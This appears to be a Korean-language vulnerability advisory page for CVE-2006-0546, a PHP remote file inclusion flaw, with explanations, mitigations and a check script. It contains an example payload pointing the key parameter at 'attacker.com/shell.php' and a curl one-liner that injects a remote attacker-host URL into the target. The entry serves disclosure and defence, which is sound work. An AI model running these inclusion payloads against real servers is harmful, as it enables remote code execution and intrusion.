🔍 CVE-2006-0546

7.5
CVSS Score
HIGH
2006-02-04
2026-04-16 00:27
✅ 완료

🇰🇷 한글 설명

2006년 발견된 PHP 원격 파일 포함(RFI) 취약점으로, index.php의 key 파라미터를 통해 악의적인 URL을 전달받아 서버에서 임의 코드 실행을 허용합니다. 공격자는 'evilcode' 파라미터를 조작하여 원격 서버의 악성 PHP 파일을 포함시켜 서버 제어권을 획득할 수 있습니다.

💡 쉬운 설명

웹 애플리케이션의 특정 파라미터가 외부 URL을 그대로 실행하도록 설정되어 있어서, 공격자가 악의적인 코드 주소를 보내면 서버가 실행하게 되는 문제입니다. 암호나 데이터가 전부 탈취될 수 있습니다.

🇺🇸 원문 (English)

Unspecified vulnerability in index.php in a certain application available from /v1/tr/portfoy.php on www.egeinternet.com allows remote attackers to execute arbitrary code via "evilcode" in the key parameter, possibly a PHP remote file include vulnerability in which the attack vector is a URL in the key parameter. NOTE: it is not clear whether this vulnerability is associated with an online service or application service provider. If so, then it should not be included in CVE.

📍 영향받는 시스템

www.egeinternet.com의 /v1/tr/portfoy.php 애플리케이션 및 동일 취약한 코드 패턴을 가진 PHP 애플리케이션

⚔️ 공격 벡터

HTTP GET/POST 요청의 key 파라미터에 원격 PHP 파일 URL 전달 (예: key=http://attacker.com/shell.php)

🛡️ 대응 방법

모든 입력값 검증 및 allow-list 기반 필터링 구현, allow_url_include PHP 설정 비활성화, 웹 애플리케이션 방화벽(WAF) 배포

🔧 검증 코드

원격 파일 포함이 실행되면 외부 파일의 콘텐츠가 응답에 포함되거나 서버 에러가 발생합니다. 정상 거부 응답이 나오면 패치된 상태입니다.

Shell / Script
curl -s 'http://target.com/v1/tr/portfoy.php?key=http://attacker.com/test.txt&evilcode=1' | grep -E '(php|eval|exec)' && echo 'VULNERABLE' || echo 'NOT_VULNERABLE'

📊 CVSS Vector String

CVSS Vector
AV:N/AC:L/Au:N/C:P/I:P/A:P

💻 영향받는 소프트웨어

PHP